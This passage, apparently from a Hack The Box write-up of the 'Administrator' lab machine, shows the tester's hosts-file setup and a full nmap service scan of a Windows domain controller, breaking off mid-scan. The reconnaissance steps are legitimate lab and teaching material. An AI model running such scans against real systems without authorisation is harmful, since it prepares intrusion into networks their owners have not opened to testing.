[{"data":1,"prerenderedAt":5814},["ShallowReactive",2],{"post-hack-the-box-administrator":3,"post-list":5551},{"id":4,"title":5,"alsoIn":6,"body":7,"category":5535,"date":5536,"description":5537,"draft":5538,"extension":5539,"image":5540,"links":6,"meta":5541,"navigation":75,"order":6,"path":5542,"readingTime":118,"seo":5543,"series":6,"stem":5544,"strength":5545,"tags":5546,"unlisted":5538,"updated":6,"__hash__":5550},"posts\u002Fposts\u002Fhack-the-box-administrator.md","Hack The Box: Administrator",null,{"type":8,"value":9,"toc":5529},"minimark",[10,15,19,153,157,160,1917,1920,1923,2175,2241,2244,2374,2379,2382,2540,2543,2546,2552,2555,2782,2785,2982,2985,2990,3021,3024,3369,3372,3623,3633,3638,3641,3646,3649,3654,3657,3821,3824,4123,4126,4164,4167,4300,4303,4483,4486,4550,4553,4558,4561,4882,4885,5190,5193,5522,5525],[11,12,14],"h2",{"id":13},"enumeration","Enumeration",[16,17,18],"p",{},"First, as always, I edit the hosts file so that I don’t have to remember the IP of the room.",[20,21,22],"terminal",{},[23,24,29],"pre",{"className":25,"code":26,"language":27,"meta":28,"style":28},"language-bash shiki shiki-themes gruvbox-dark-medium","┌─[root@htb-9c36twul9w]─[\u002Fhome\u002Fnobrac]\n└──╼ #cat \u002Fetc\u002Fhosts\n127.0.0.1   localhost\n127.0.1.1   debian12-parrot\n\n10.129.134.50 administrator.htb\n\n# The following lines are desirable for IPv6 capable hosts\n::1     localhost ip6-localhost ip6-loopback\nff02::1 ip6-allnodes\nff02::2 ip6-allrouters\n127.0.0.1 localhost\n127.0.1.1 htb-9c36twul9w htb-9c36twul9w.htb-cloud.com\n","bash","",[30,31,32,41,51,61,70,77,86,91,97,116,125,134,142],"code",{"__ignoreMap":28},[33,34,37],"span",{"class":35,"line":36},"line",1,[33,38,40],{"class":39},"s59W0","┌─[root@htb-9c36twul9w]─[\u002Fhome\u002Fnobrac]\n",[33,42,44,47],{"class":35,"line":43},2,[33,45,46],{"class":39},"└──╼",[33,48,50],{"class":49},"s-UKz"," #cat \u002Fetc\u002Fhosts\n",[33,52,54,57],{"class":35,"line":53},3,[33,55,56],{"class":39},"127.0.0.1",[33,58,60],{"class":59},"sTqo2","   localhost\n",[33,62,64,67],{"class":35,"line":63},4,[33,65,66],{"class":39},"127.0.1.1",[33,68,69],{"class":59},"   debian12-parrot\n",[33,71,73],{"class":35,"line":72},5,[33,74,76],{"emptyLinePlaceholder":75},true,"\n",[33,78,80,83],{"class":35,"line":79},6,[33,81,82],{"class":39},"10.129.134.50",[33,84,85],{"class":59}," administrator.htb\n",[33,87,89],{"class":35,"line":88},7,[33,90,76],{"emptyLinePlaceholder":75},[33,92,94],{"class":35,"line":93},8,[33,95,96],{"class":49},"# The following lines are desirable for IPv6 capable hosts\n",[33,98,100,104,107,110,113],{"class":35,"line":99},9,[33,101,103],{"class":102},"sG605",":",[33,105,106],{"class":59},":1",[33,108,109],{"class":59},"     localhost",[33,111,112],{"class":59}," ip6-localhost",[33,114,115],{"class":59}," ip6-loopback\n",[33,117,119,122],{"class":35,"line":118},10,[33,120,121],{"class":39},"ff02::1",[33,123,124],{"class":59}," ip6-allnodes\n",[33,126,128,131],{"class":35,"line":127},11,[33,129,130],{"class":39},"ff02::2",[33,132,133],{"class":59}," ip6-allrouters\n",[33,135,137,139],{"class":35,"line":136},12,[33,138,56],{"class":39},[33,140,141],{"class":59}," localhost\n",[33,143,145,147,150],{"class":35,"line":144},13,[33,146,66],{"class":39},[33,148,149],{"class":59}," htb-9c36twul9w",[33,151,152],{"class":59}," htb-9c36twul9w.htb-cloud.com\n",[11,154,156],{"id":155},"nmap-scan","NMAP Scan",[16,158,159],{},"I then perform an NMAP scan.",[20,161,162],{},[23,163,165],{"className":25,"code":164,"language":27,"meta":28,"style":28},"┌─[eu-dedivip-1]─[10.10.14.55]─[nobrac@htb-9c36twul9w]─[~]\n└──╼ [★]$ nmap administrator.htb -vv -sV -sC\nStarting Nmap 7.94SVN ( https:\u002F\u002Fnmap.org ) at 2024-11-17 07:10 CST\nNSE: Loaded 156 scripts for scanning.\nNSE: Script Pre-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 07:10\nCompleted NSE at 07:10, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 07:10\nCompleted NSE at 07:10, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 07:10\nCompleted NSE at 07:10, 0.00s elapsed\nInitiating Ping Scan at 07:10\nScanning administrator.htb (10.129.134.50) [4 ports]\nCompleted Ping Scan at 07:10, 0.03s elapsed (1 total hosts)\nInitiating SYN Stealth Scan at 07:10\nScanning administrator.htb (10.129.134.50) [1000 ports]\nDiscovered open port 135\u002Ftcp on 10.129.134.50\nDiscovered open port 21\u002Ftcp on 10.129.134.50\nDiscovered open port 445\u002Ftcp on 10.129.134.50\nDiscovered open port 139\u002Ftcp on 10.129.134.50\nDiscovered open port 53\u002Ftcp on 10.129.134.50\nDiscovered open port 389\u002Ftcp on 10.129.134.50\nDiscovered open port 3268\u002Ftcp on 10.129.134.50\nDiscovered open port 88\u002Ftcp on 10.129.134.50\nDiscovered open port 593\u002Ftcp on 10.129.134.50\nDiscovered open port 636\u002Ftcp on 10.129.134.50\nDiscovered open port 3269\u002Ftcp on 10.129.134.50\nDiscovered open port 464\u002Ftcp on 10.129.134.50\nCompleted SYN Stealth Scan at 07:10, 0.18s elapsed (1000 total ports)\nInitiating Service scan at 07:10\nScanning 12 services on administrator.htb (10.129.134.50)\nCompleted Service scan at 07:10, 6.47s elapsed (12 services on 1 host)\nNSE: Script scanning 10.129.134.50.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 07:10\nCompleted NSE at 07:10, 8.39s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 07:10\nCompleted NSE at 07:10, 0.31s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 07:10\nCompleted NSE at 07:10, 0.00s elapsed\nNmap scan report for administrator.htb (10.129.134.50)\nHost is up, received echo-reply ttl 127 (0.0092s latency).\nScanned at 2024-11-17 07:10:24 CST for 16s\nNot shown: 988 closed tcp ports (reset)\nPORT     STATE SERVICE       REASON          VERSION\n21\u002Ftcp   open  ftp           syn-ack ttl 127 Microsoft ftpd\n| ftp-syst: \n|_  SYST: Windows_NT\n53\u002Ftcp   open  domain        syn-ack ttl 127 Simple DNS Plus\n88\u002Ftcp   open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2024-11-17 20:10:32Z)\n135\u002Ftcp  open  msrpc         syn-ack ttl 127 Microsoft Windows RPC\n139\u002Ftcp  open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn\n389\u002Ftcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)\n445\u002Ftcp  open  microsoft-ds? syn-ack ttl 127\n464\u002Ftcp  open  kpasswd5?     syn-ack ttl 127\n593\u002Ftcp  open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0\n636\u002Ftcp  open  tcpwrapped    syn-ack ttl 127\n3268\u002Ftcp open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)\n3269\u002Ftcp open  tcpwrapped    syn-ack ttl 127\nService Info: Host: DC; OS: Windows; CPE: cpe:\u002Fo:microsoft:windows\n\nHost script results:\n|_clock-skew: 7h00m01s\n| p2p-conficker: \n|   Checking for Conficker.C or higher...\n|   Check 1 (port 59010\u002Ftcp): CLEAN (Couldn't connect)\n|   Check 2 (port 59764\u002Ftcp): CLEAN (Couldn't connect)\n|   Check 3 (port 14437\u002Fudp): CLEAN (Timeout)\n|   Check 4 (port 48871\u002Fudp): CLEAN (Failed to receive data)\n|_  0\u002F4 checks are positive: Host is CLEAN or ports are blocked\n| smb2-time: \n|   date: 2024-11-17T20:10:34\n|_  start_date: N\u002FA\n| smb2-security-mode: \n|   3:1:1: \n|_    Message signing enabled and required\n\nNSE: Script Post-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 07:10\nCompleted NSE at 07:10, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 07:10\nCompleted NSE at 07:10, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 07:10\nCompleted NSE at 07:10, 0.00s elapsed\nRead data files from: \u002Fusr\u002Fbin\u002F..\u002Fshare\u002Fnmap\nService detection performed. Please report any incorrect results at https:\u002F\u002Fnmap.org\u002Fsubmit\u002F .\nNmap done: 1 IP address (1 host up) scanned in 15.71 seconds\n           Raw packets sent: 1004 (44.152KB) | Rcvd: 1001 (40.076KB)\n",[30,166,167,172,180,200,221,231,253,267,285,302,312,326,343,353,368,383,407,438,455,473,494,510,526,542,558,574,590,606,622,638,654,670,699,714,732,765,778,795,806,822,839,850,866,883,894,909,926,959,981,1004,1022,1047,1060,1074,1101,1140,1166,1191,1236,1255,1273,1307,1324,1360,1376,1408,1413,1424,1435,1445,1464,1489,1503,1524,1555,1591,1601,1612,1625,1635,1645,1667,1672,1682,1699,1710,1725,1742,1753,1768,1785,1796,1811,1828,1861,1888],{"__ignoreMap":28},[33,168,169],{"class":35,"line":36},[33,170,171],{"class":39},"┌─[eu-dedivip-1]─[10.10.14.55]─[nobrac@htb-9c36twul9w]─[~]\n",[33,173,174,176],{"class":35,"line":43},[33,175,46],{"class":39},[33,177,179],{"class":178},"sM0OT"," [★]$ nmap administrator.htb -vv -sV -sC\n",[33,181,182,185,188,191,194,197],{"class":35,"line":53},[33,183,184],{"class":39},"Starting",[33,186,187],{"class":59}," Nmap",[33,189,190],{"class":59}," 7.94SVN",[33,192,193],{"class":178}," ( ",[33,195,196],{"class":59},"https:\u002F\u002Fnmap.org",[33,198,199],{"class":178}," ) at 2024-11-17 07:10 CST\n",[33,201,202,205,208,212,215,218],{"class":35,"line":63},[33,203,204],{"class":39},"NSE:",[33,206,207],{"class":59}," Loaded",[33,209,211],{"class":210},"ssIPD"," 156",[33,213,214],{"class":59}," scripts",[33,216,217],{"class":59}," for",[33,219,220],{"class":59}," scanning.\n",[33,222,223,225,228],{"class":35,"line":72},[33,224,204],{"class":39},[33,226,227],{"class":59}," Script",[33,229,230],{"class":59}," Pre-scanning.\n",[33,232,233,235,238,241,244,247,250],{"class":35,"line":79},[33,234,204],{"class":39},[33,236,237],{"class":59}," Starting",[33,239,240],{"class":59}," runlevel",[33,242,243],{"class":210}," 1",[33,245,246],{"class":178}," (of ",[33,248,249],{"class":210},"3",[33,251,252],{"class":178},") scan.\n",[33,254,255,258,261,264],{"class":35,"line":88},[33,256,257],{"class":39},"Initiating",[33,259,260],{"class":59}," NSE",[33,262,263],{"class":59}," at",[33,265,266],{"class":59}," 07:10\n",[33,268,269,272,274,276,279,282],{"class":35,"line":93},[33,270,271],{"class":39},"Completed",[33,273,260],{"class":59},[33,275,263],{"class":59},[33,277,278],{"class":59}," 07:10,",[33,280,281],{"class":59}," 0.00s",[33,283,284],{"class":59}," elapsed\n",[33,286,287,289,291,293,296,298,300],{"class":35,"line":99},[33,288,204],{"class":39},[33,290,237],{"class":59},[33,292,240],{"class":59},[33,294,295],{"class":210}," 2",[33,297,246],{"class":178},[33,299,249],{"class":210},[33,301,252],{"class":178},[33,303,304,306,308,310],{"class":35,"line":118},[33,305,257],{"class":39},[33,307,260],{"class":59},[33,309,263],{"class":59},[33,311,266],{"class":59},[33,313,314,316,318,320,322,324],{"class":35,"line":127},[33,315,271],{"class":39},[33,317,260],{"class":59},[33,319,263],{"class":59},[33,321,278],{"class":59},[33,323,281],{"class":59},[33,325,284],{"class":59},[33,327,328,330,332,334,337,339,341],{"class":35,"line":136},[33,329,204],{"class":39},[33,331,237],{"class":59},[33,333,240],{"class":59},[33,335,336],{"class":210}," 3",[33,338,246],{"class":178},[33,340,249],{"class":210},[33,342,252],{"class":178},[33,344,345,347,349,351],{"class":35,"line":144},[33,346,257],{"class":39},[33,348,260],{"class":59},[33,350,263],{"class":59},[33,352,266],{"class":59},[33,354,356,358,360,362,364,366],{"class":35,"line":355},14,[33,357,271],{"class":39},[33,359,260],{"class":59},[33,361,263],{"class":59},[33,363,278],{"class":59},[33,365,281],{"class":59},[33,367,284],{"class":59},[33,369,371,373,376,379,381],{"class":35,"line":370},15,[33,372,257],{"class":39},[33,374,375],{"class":59}," Ping",[33,377,378],{"class":59}," Scan",[33,380,263],{"class":59},[33,382,266],{"class":59},[33,384,386,389,392,395,398,401,404],{"class":35,"line":385},16,[33,387,388],{"class":39},"Scanning",[33,390,391],{"class":59}," administrator.htb",[33,393,394],{"class":178}," (10.129.134.50) ",[33,396,397],{"class":102},"[",[33,399,400],{"class":210},"4",[33,402,403],{"class":178}," ports",[33,405,406],{"class":102},"]\n",[33,408,410,412,414,416,418,420,423,426,429,432,435],{"class":35,"line":409},17,[33,411,271],{"class":39},[33,413,375],{"class":59},[33,415,378],{"class":59},[33,417,263],{"class":59},[33,419,278],{"class":59},[33,421,422],{"class":59}," 0.03s",[33,424,425],{"class":59}," elapsed",[33,427,428],{"class":178}," (1 ",[33,430,431],{"class":59},"total",[33,433,434],{"class":59}," hosts",[33,436,437],{"class":178},")\n",[33,439,441,443,446,449,451,453],{"class":35,"line":440},18,[33,442,257],{"class":39},[33,444,445],{"class":59}," SYN",[33,447,448],{"class":59}," Stealth",[33,450,378],{"class":59},[33,452,263],{"class":59},[33,454,266],{"class":59},[33,456,458,460,462,464,466,469,471],{"class":35,"line":457},19,[33,459,388],{"class":39},[33,461,391],{"class":59},[33,463,394],{"class":178},[33,465,397],{"class":102},[33,467,468],{"class":210},"1000",[33,470,403],{"class":178},[33,472,406],{"class":102},[33,474,476,479,482,485,488,491],{"class":35,"line":475},20,[33,477,478],{"class":39},"Discovered",[33,480,481],{"class":59}," open",[33,483,484],{"class":59}," port",[33,486,487],{"class":59}," 135\u002Ftcp",[33,489,490],{"class":59}," on",[33,492,493],{"class":210}," 10.129.134.50\n",[33,495,497,499,501,503,506,508],{"class":35,"line":496},21,[33,498,478],{"class":39},[33,500,481],{"class":59},[33,502,484],{"class":59},[33,504,505],{"class":59}," 21\u002Ftcp",[33,507,490],{"class":59},[33,509,493],{"class":210},[33,511,513,515,517,519,522,524],{"class":35,"line":512},22,[33,514,478],{"class":39},[33,516,481],{"class":59},[33,518,484],{"class":59},[33,520,521],{"class":59}," 445\u002Ftcp",[33,523,490],{"class":59},[33,525,493],{"class":210},[33,527,529,531,533,535,538,540],{"class":35,"line":528},23,[33,530,478],{"class":39},[33,532,481],{"class":59},[33,534,484],{"class":59},[33,536,537],{"class":59}," 139\u002Ftcp",[33,539,490],{"class":59},[33,541,493],{"class":210},[33,543,545,547,549,551,554,556],{"class":35,"line":544},24,[33,546,478],{"class":39},[33,548,481],{"class":59},[33,550,484],{"class":59},[33,552,553],{"class":59}," 53\u002Ftcp",[33,555,490],{"class":59},[33,557,493],{"class":210},[33,559,561,563,565,567,570,572],{"class":35,"line":560},25,[33,562,478],{"class":39},[33,564,481],{"class":59},[33,566,484],{"class":59},[33,568,569],{"class":59}," 389\u002Ftcp",[33,571,490],{"class":59},[33,573,493],{"class":210},[33,575,577,579,581,583,586,588],{"class":35,"line":576},26,[33,578,478],{"class":39},[33,580,481],{"class":59},[33,582,484],{"class":59},[33,584,585],{"class":59}," 3268\u002Ftcp",[33,587,490],{"class":59},[33,589,493],{"class":210},[33,591,593,595,597,599,602,604],{"class":35,"line":592},27,[33,594,478],{"class":39},[33,596,481],{"class":59},[33,598,484],{"class":59},[33,600,601],{"class":59}," 88\u002Ftcp",[33,603,490],{"class":59},[33,605,493],{"class":210},[33,607,609,611,613,615,618,620],{"class":35,"line":608},28,[33,610,478],{"class":39},[33,612,481],{"class":59},[33,614,484],{"class":59},[33,616,617],{"class":59}," 593\u002Ftcp",[33,619,490],{"class":59},[33,621,493],{"class":210},[33,623,625,627,629,631,634,636],{"class":35,"line":624},29,[33,626,478],{"class":39},[33,628,481],{"class":59},[33,630,484],{"class":59},[33,632,633],{"class":59}," 636\u002Ftcp",[33,635,490],{"class":59},[33,637,493],{"class":210},[33,639,641,643,645,647,650,652],{"class":35,"line":640},30,[33,642,478],{"class":39},[33,644,481],{"class":59},[33,646,484],{"class":59},[33,648,649],{"class":59}," 3269\u002Ftcp",[33,651,490],{"class":59},[33,653,493],{"class":210},[33,655,657,659,661,663,666,668],{"class":35,"line":656},31,[33,658,478],{"class":39},[33,660,481],{"class":59},[33,662,484],{"class":59},[33,664,665],{"class":59}," 464\u002Ftcp",[33,667,490],{"class":59},[33,669,493],{"class":210},[33,671,673,675,677,679,681,683,685,688,690,693,695,697],{"class":35,"line":672},32,[33,674,271],{"class":39},[33,676,445],{"class":59},[33,678,448],{"class":59},[33,680,378],{"class":59},[33,682,263],{"class":59},[33,684,278],{"class":59},[33,686,687],{"class":59}," 0.18s",[33,689,425],{"class":59},[33,691,692],{"class":178}," (1000 ",[33,694,431],{"class":59},[33,696,403],{"class":59},[33,698,437],{"class":178},[33,700,702,704,707,710,712],{"class":35,"line":701},33,[33,703,257],{"class":39},[33,705,706],{"class":59}," Service",[33,708,709],{"class":59}," scan",[33,711,263],{"class":59},[33,713,266],{"class":59},[33,715,717,719,722,725,727,729],{"class":35,"line":716},34,[33,718,388],{"class":39},[33,720,721],{"class":210}," 12",[33,723,724],{"class":59}," services",[33,726,490],{"class":59},[33,728,391],{"class":59},[33,730,731],{"class":178}," (10.129.134.50)\n",[33,733,735,737,739,741,743,745,748,750,753,756,758,760,763],{"class":35,"line":734},35,[33,736,271],{"class":39},[33,738,706],{"class":59},[33,740,709],{"class":59},[33,742,263],{"class":59},[33,744,278],{"class":59},[33,746,747],{"class":59}," 6.47s",[33,749,425],{"class":59},[33,751,752],{"class":178}," (12 ",[33,754,755],{"class":59},"services",[33,757,490],{"class":59},[33,759,243],{"class":210},[33,761,762],{"class":59}," host",[33,764,437],{"class":178},[33,766,768,770,772,775],{"class":35,"line":767},36,[33,769,204],{"class":39},[33,771,227],{"class":59},[33,773,774],{"class":59}," scanning",[33,776,777],{"class":59}," 10.129.134.50.\n",[33,779,781,783,785,787,789,791,793],{"class":35,"line":780},37,[33,782,204],{"class":39},[33,784,237],{"class":59},[33,786,240],{"class":59},[33,788,243],{"class":210},[33,790,246],{"class":178},[33,792,249],{"class":210},[33,794,252],{"class":178},[33,796,798,800,802,804],{"class":35,"line":797},38,[33,799,257],{"class":39},[33,801,260],{"class":59},[33,803,263],{"class":59},[33,805,266],{"class":59},[33,807,809,811,813,815,817,820],{"class":35,"line":808},39,[33,810,271],{"class":39},[33,812,260],{"class":59},[33,814,263],{"class":59},[33,816,278],{"class":59},[33,818,819],{"class":59}," 8.39s",[33,821,284],{"class":59},[33,823,825,827,829,831,833,835,837],{"class":35,"line":824},40,[33,826,204],{"class":39},[33,828,237],{"class":59},[33,830,240],{"class":59},[33,832,295],{"class":210},[33,834,246],{"class":178},[33,836,249],{"class":210},[33,838,252],{"class":178},[33,840,842,844,846,848],{"class":35,"line":841},41,[33,843,257],{"class":39},[33,845,260],{"class":59},[33,847,263],{"class":59},[33,849,266],{"class":59},[33,851,853,855,857,859,861,864],{"class":35,"line":852},42,[33,854,271],{"class":39},[33,856,260],{"class":59},[33,858,263],{"class":59},[33,860,278],{"class":59},[33,862,863],{"class":59}," 0.31s",[33,865,284],{"class":59},[33,867,869,871,873,875,877,879,881],{"class":35,"line":868},43,[33,870,204],{"class":39},[33,872,237],{"class":59},[33,874,240],{"class":59},[33,876,336],{"class":210},[33,878,246],{"class":178},[33,880,249],{"class":210},[33,882,252],{"class":178},[33,884,886,888,890,892],{"class":35,"line":885},44,[33,887,257],{"class":39},[33,889,260],{"class":59},[33,891,263],{"class":59},[33,893,266],{"class":59},[33,895,897,899,901,903,905,907],{"class":35,"line":896},45,[33,898,271],{"class":39},[33,900,260],{"class":59},[33,902,263],{"class":59},[33,904,278],{"class":59},[33,906,281],{"class":59},[33,908,284],{"class":59},[33,910,912,915,917,920,922,924],{"class":35,"line":911},46,[33,913,914],{"class":39},"Nmap",[33,916,709],{"class":59},[33,918,919],{"class":59}," report",[33,921,217],{"class":59},[33,923,391],{"class":59},[33,925,731],{"class":178},[33,927,929,932,935,938,941,944,947,950,953,956],{"class":35,"line":928},47,[33,930,931],{"class":39},"Host",[33,933,934],{"class":59}," is",[33,936,937],{"class":59}," up,",[33,939,940],{"class":59}," received",[33,942,943],{"class":59}," echo-reply",[33,945,946],{"class":59}," ttl",[33,948,949],{"class":210}," 127",[33,951,952],{"class":178}," (0.0092s ",[33,954,955],{"class":59},"latency",[33,957,958],{"class":178},").\n",[33,960,962,965,967,970,973,976,978],{"class":35,"line":961},48,[33,963,964],{"class":39},"Scanned",[33,966,263],{"class":59},[33,968,969],{"class":59}," 2024-11-17",[33,971,972],{"class":59}," 07:10:24",[33,974,975],{"class":59}," CST",[33,977,217],{"class":59},[33,979,980],{"class":59}," 16s\n",[33,982,984,987,990,993,996,999,1001],{"class":35,"line":983},49,[33,985,986],{"class":39},"Not",[33,988,989],{"class":59}," shown:",[33,991,992],{"class":210}," 988",[33,994,995],{"class":59}," closed",[33,997,998],{"class":59}," tcp",[33,1000,403],{"class":59},[33,1002,1003],{"class":178}," (reset)\n",[33,1005,1007,1010,1013,1016,1019],{"class":35,"line":1006},50,[33,1008,1009],{"class":39},"PORT",[33,1011,1012],{"class":59},"     STATE",[33,1014,1015],{"class":59}," SERVICE",[33,1017,1018],{"class":59},"       REASON",[33,1020,1021],{"class":59},"          VERSION\n",[33,1023,1025,1028,1031,1034,1037,1039,1041,1044],{"class":35,"line":1024},51,[33,1026,1027],{"class":39},"21\u002Ftcp",[33,1029,1030],{"class":59},"   open",[33,1032,1033],{"class":59},"  ftp",[33,1035,1036],{"class":59},"           syn-ack",[33,1038,946],{"class":59},[33,1040,949],{"class":210},[33,1042,1043],{"class":59}," Microsoft",[33,1045,1046],{"class":59}," ftpd\n",[33,1048,1050,1054,1057],{"class":35,"line":1049},52,[33,1051,1053],{"class":1052},"sM2RB","|",[33,1055,1056],{"class":39}," ftp-syst:",[33,1058,1059],{"class":178}," \n",[33,1061,1063,1065,1068,1071],{"class":35,"line":1062},53,[33,1064,1053],{"class":1052},[33,1066,1067],{"class":39},"_",[33,1069,1070],{"class":59},"  SYST:",[33,1072,1073],{"class":59}," Windows_NT\n",[33,1075,1077,1080,1082,1085,1088,1090,1092,1095,1098],{"class":35,"line":1076},54,[33,1078,1079],{"class":39},"53\u002Ftcp",[33,1081,1030],{"class":59},[33,1083,1084],{"class":59},"  domain",[33,1086,1087],{"class":59},"        syn-ack",[33,1089,946],{"class":59},[33,1091,949],{"class":210},[33,1093,1094],{"class":59}," Simple",[33,1096,1097],{"class":59}," DNS",[33,1099,1100],{"class":59}," Plus\n",[33,1102,1104,1107,1109,1112,1115,1117,1119,1121,1124,1127,1130,1133,1135,1138],{"class":35,"line":1103},55,[33,1105,1106],{"class":39},"88\u002Ftcp",[33,1108,1030],{"class":59},[33,1110,1111],{"class":59},"  kerberos-sec",[33,1113,1114],{"class":59},"  syn-ack",[33,1116,946],{"class":59},[33,1118,949],{"class":210},[33,1120,1043],{"class":59},[33,1122,1123],{"class":59}," Windows",[33,1125,1126],{"class":59}," Kerberos",[33,1128,1129],{"class":178}," (server ",[33,1131,1132],{"class":59},"time:",[33,1134,969],{"class":59},[33,1136,1137],{"class":59}," 20:10:32Z",[33,1139,437],{"class":178},[33,1141,1143,1146,1149,1152,1155,1157,1159,1161,1163],{"class":35,"line":1142},56,[33,1144,1145],{"class":39},"135\u002Ftcp",[33,1147,1148],{"class":59},"  open",[33,1150,1151],{"class":59},"  msrpc",[33,1153,1154],{"class":59},"         syn-ack",[33,1156,946],{"class":59},[33,1158,949],{"class":210},[33,1160,1043],{"class":59},[33,1162,1123],{"class":59},[33,1164,1165],{"class":59}," RPC\n",[33,1167,1169,1172,1174,1177,1180,1182,1184,1186,1188],{"class":35,"line":1168},57,[33,1170,1171],{"class":39},"139\u002Ftcp",[33,1173,1148],{"class":59},[33,1175,1176],{"class":59},"  netbios-ssn",[33,1178,1179],{"class":59},"   syn-ack",[33,1181,946],{"class":59},[33,1183,949],{"class":210},[33,1185,1043],{"class":59},[33,1187,1123],{"class":59},[33,1189,1190],{"class":59}," netbios-ssn\n",[33,1192,1194,1197,1199,1202,1205,1207,1209,1211,1213,1216,1219,1222,1225,1228,1231,1234],{"class":35,"line":1193},58,[33,1195,1196],{"class":39},"389\u002Ftcp",[33,1198,1148],{"class":59},[33,1200,1201],{"class":59},"  ldap",[33,1203,1204],{"class":59},"          syn-ack",[33,1206,946],{"class":59},[33,1208,949],{"class":210},[33,1210,1043],{"class":59},[33,1212,1123],{"class":59},[33,1214,1215],{"class":59}," Active",[33,1217,1218],{"class":59}," Directory",[33,1220,1221],{"class":59}," LDAP",[33,1223,1224],{"class":178}," (Domain: ",[33,1226,1227],{"class":59},"administrator.htb0.,",[33,1229,1230],{"class":59}," Site:",[33,1232,1233],{"class":59}," Default-First-Site-Name",[33,1235,437],{"class":178},[33,1237,1239,1242,1244,1247,1250,1252],{"class":35,"line":1238},59,[33,1240,1241],{"class":39},"445\u002Ftcp",[33,1243,1148],{"class":59},[33,1245,1246],{"class":59},"  microsoft-ds?",[33,1248,1249],{"class":59}," syn-ack",[33,1251,946],{"class":59},[33,1253,1254],{"class":210}," 127\n",[33,1256,1258,1261,1263,1266,1269,1271],{"class":35,"line":1257},60,[33,1259,1260],{"class":39},"464\u002Ftcp",[33,1262,1148],{"class":59},[33,1264,1265],{"class":59},"  kpasswd5?",[33,1267,1268],{"class":59},"     syn-ack",[33,1270,946],{"class":59},[33,1272,1254],{"class":210},[33,1274,1276,1279,1281,1284,1287,1289,1291,1293,1295,1298,1301,1304],{"class":35,"line":1275},61,[33,1277,1278],{"class":39},"593\u002Ftcp",[33,1280,1148],{"class":59},[33,1282,1283],{"class":59},"  ncacn_http",[33,1285,1286],{"class":59},"    syn-ack",[33,1288,946],{"class":59},[33,1290,949],{"class":210},[33,1292,1043],{"class":59},[33,1294,1123],{"class":59},[33,1296,1297],{"class":59}," RPC",[33,1299,1300],{"class":59}," over",[33,1302,1303],{"class":59}," HTTP",[33,1305,1306],{"class":210}," 1.0\n",[33,1308,1310,1313,1315,1318,1320,1322],{"class":35,"line":1309},62,[33,1311,1312],{"class":39},"636\u002Ftcp",[33,1314,1148],{"class":59},[33,1316,1317],{"class":59},"  tcpwrapped",[33,1319,1286],{"class":59},[33,1321,946],{"class":59},[33,1323,1254],{"class":210},[33,1325,1327,1330,1332,1334,1336,1338,1340,1342,1344,1346,1348,1350,1352,1354,1356,1358],{"class":35,"line":1326},63,[33,1328,1329],{"class":39},"3268\u002Ftcp",[33,1331,481],{"class":59},[33,1333,1201],{"class":59},[33,1335,1204],{"class":59},[33,1337,946],{"class":59},[33,1339,949],{"class":210},[33,1341,1043],{"class":59},[33,1343,1123],{"class":59},[33,1345,1215],{"class":59},[33,1347,1218],{"class":59},[33,1349,1221],{"class":59},[33,1351,1224],{"class":178},[33,1353,1227],{"class":59},[33,1355,1230],{"class":59},[33,1357,1233],{"class":59},[33,1359,437],{"class":178},[33,1361,1363,1366,1368,1370,1372,1374],{"class":35,"line":1362},64,[33,1364,1365],{"class":39},"3269\u002Ftcp",[33,1367,481],{"class":59},[33,1369,1317],{"class":59},[33,1371,1286],{"class":59},[33,1373,946],{"class":59},[33,1375,1254],{"class":210},[33,1377,1379,1382,1385,1388,1391,1395,1398,1400,1402,1405],{"class":35,"line":1378},65,[33,1380,1381],{"class":39},"Service",[33,1383,1384],{"class":59}," Info:",[33,1386,1387],{"class":59}," Host:",[33,1389,1390],{"class":59}," DC",[33,1392,1394],{"class":1393},"svnLg",";",[33,1396,1397],{"class":39}," OS:",[33,1399,1123],{"class":59},[33,1401,1394],{"class":1393},[33,1403,1404],{"class":39}," CPE:",[33,1406,1407],{"class":59}," cpe:\u002Fo:microsoft:windows\n",[33,1409,1411],{"class":35,"line":1410},66,[33,1412,76],{"emptyLinePlaceholder":75},[33,1414,1416,1418,1421],{"class":35,"line":1415},67,[33,1417,931],{"class":39},[33,1419,1420],{"class":59}," script",[33,1422,1423],{"class":59}," results:\n",[33,1425,1427,1429,1432],{"class":35,"line":1426},68,[33,1428,1053],{"class":1052},[33,1430,1431],{"class":39},"_clock-skew:",[33,1433,1434],{"class":59}," 7h00m01s\n",[33,1436,1438,1440,1443],{"class":35,"line":1437},69,[33,1439,1053],{"class":1052},[33,1441,1442],{"class":39}," p2p-conficker:",[33,1444,1059],{"class":178},[33,1446,1448,1450,1453,1455,1458,1461],{"class":35,"line":1447},70,[33,1449,1053],{"class":1052},[33,1451,1452],{"class":39},"   Checking",[33,1454,217],{"class":59},[33,1456,1457],{"class":59}," Conficker.C",[33,1459,1460],{"class":59}," or",[33,1462,1463],{"class":59}," higher...\n",[33,1465,1467,1469,1472,1474,1477,1480,1483,1486],{"class":35,"line":1466},71,[33,1468,1053],{"class":1052},[33,1470,1471],{"class":39},"   Check",[33,1473,243],{"class":210},[33,1475,1476],{"class":178}," (port ",[33,1478,1479],{"class":59},"59010\u002Ftcp",[33,1481,1482],{"class":178},"): CLEAN (",[33,1484,1485],{"class":39},"Couldn",[33,1487,1488],{"class":39},"'t connect)\n",[33,1490,1492,1495,1498,1501],{"class":35,"line":1491},72,[33,1493,1494],{"class":39},"|   Check 2 (port 59764\u002Ftcp): CLEAN 